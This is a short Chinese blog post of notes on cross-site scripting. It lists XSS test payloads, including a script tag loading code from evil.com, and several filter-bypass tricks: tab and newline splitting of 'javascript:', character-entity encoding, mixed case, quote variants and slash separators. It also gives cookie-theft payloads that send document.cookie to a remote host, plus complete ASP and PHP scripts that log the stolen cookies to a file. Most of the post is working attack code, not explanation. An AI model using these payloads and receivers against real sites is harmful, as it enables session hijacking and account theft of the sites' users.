XSS笔记

XSS测试代码:

<img src="javascript:alert(/xss/)">

<script src=http://evil.com/xss.js></script>

</textarea><script>alert(/xss/)</script>

"><script>alert(/xss/)</script>

</script><script>alert(/xss/)</script>

绕过XSS-Filter

如果用户能随意插入<>标签,就有可能通过script标签任意插入恶意代码,如:

<script>alert(/xss/)</script>

因此,过滤的话,会优先考虑过滤<script>标签

一:利用HTML标签值执行XSS

  javascript:[code]伪协议形式,需web浏览器支持,如IE6。如:

  <img src="javascript:alert(/xss/)">

二:空格回车tab

  当仅过滤javascript等关键字时,

  利用tab进行绕过限制。

  <img src="java  script:alert(/xss/)">  (中间间隔为tab键)

  利用回车键进行绕过限制。

  <img src="javas

  cript:alert(/xss/)"> 

三:对标签属性值进行转码 

  <img src="javascript:alert(/xss/)">转换为<img src="javascrip&#116&#58alert(/xss/)">     ASCII码转换

四:扰乱过滤规则

  关键字大小写,

  <img SRC="javascript:alert(/xss/)">

  或

  <imG Src="javascript:alert(/xss/)">

  单引号

  <img src='javascript:alert(/xss/)'>

  不使用引号

  <img src=javascript:alert(/xss/)>

  及其/隔开

  <img/src="javascript:alert(/xss/)">

  

 cookie会话攻击原理剖析

获取cookie:

  <script>document.location="http://www.test.com/cookie.asp?cookie='+document.cookie"</script>

 

  <img src="http://www.test.com/cookie.asp?cookie='+document.cookie"></img>

远程服务器上接收cookie文件,代码如下:

ASP版本:

<%

msg=Request.ServerVariables("QUERY_STRING")

 

 testfile=Server.MapPath("cookie.txt")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.Writeline(""&msg& "")

thisfile.close

set fs =nothing

%>

PHP版本:

<?php

$cookie=$_GET['cookie'];

$log=fopen("cookie.txt","a");

fwrite($log,$cookie ."\n");

fclose($log);

?> 

 

posted on 2017-11-27 16:24  木讷  阅读(276)  评论(0编辑  收藏  举报